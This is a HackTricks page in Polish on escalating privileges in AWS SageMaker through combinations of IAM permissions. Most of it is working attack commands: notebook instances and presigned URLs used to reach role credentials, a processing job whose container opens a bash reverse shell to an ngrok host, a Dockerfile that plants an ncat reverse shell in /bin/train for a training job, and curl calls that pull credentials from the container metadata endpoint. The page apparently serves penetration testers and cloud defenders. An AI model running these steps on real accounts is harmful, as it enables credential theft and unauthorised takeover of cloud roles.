AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Support HackTricks

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Zacznij tworzyć notatnik z rolą IAM, aby uzyskać dostęp do niego:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Odpowiedź powinna zawierać pole NotebookInstanceArn, które będzie zawierać ARN nowo utworzonej instancji notatnika. Możemy następnie użyć API create-presigned-notebook-instance-url, aby wygenerować URL, którego możemy użyć do uzyskania dostępu do instancji notatnika, gdy będzie gotowa:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Przejdź do adresu URL w przeglądarce i kliknij na `Open JupyterLab` w prawym górnym rogu, a następnie przewiń w dół do zakładki “Launcher” i w sekcji “Other” kliknij przycisk “Terminal”.

Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM.

Potencjalny wpływ: Privesc do roli serwisowej sagemaker.

sagemaker:CreatePresignedNotebookInstanceUrl

Jeśli na nim już działają notatniki Jupyter i możesz je wylistować za pomocą sagemaker:ListNotebookInstances (lub odkryć je w inny sposób). Możesz wygenerować dla nich URL, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potencjalny wpływ: Privesc do roli serwisowej sagemaker.

sagemaker:CreateProcessingJob,iam:PassRole

Napastnik z tymi uprawnieniami może sprawić, że sagemaker wykona processingjob z dołączoną rolą sagemaker. Napastnik może wskazać definicję kontenera, który będzie uruchomiony w instancji konta ECS zarządzanego przez AWS, i ukraść poświadczenia dołączonej roli IAM.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potencjalny wpływ: Privesc do roli serwisu sagemaker określonej.

sagemaker:CreateTrainingJob, iam:PassRole

Napastnik z tymi uprawnieniami będzie w stanie utworzyć zadanie treningowe, uruchamiając dowolny kontener na nim z przypisaną rolą. W związku z tym, atakujący będzie mógł ukraść poświadczenia roli.

Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle rev shell lub poświadczenia bezpośrednio do napastnika (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Potencjalny wpływ: Privesc do roli serwisu sagemaker określonej.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Napastnik z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć zadanie treningowe hyperparametrów, uruchamiając dowolny kontener na nim z przypisaną rolą. Nie wykorzystałem tego z powodu braku czasu, ale wygląda to podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji.

Odniesienia

Wsparcie dla HackTricks

Last updated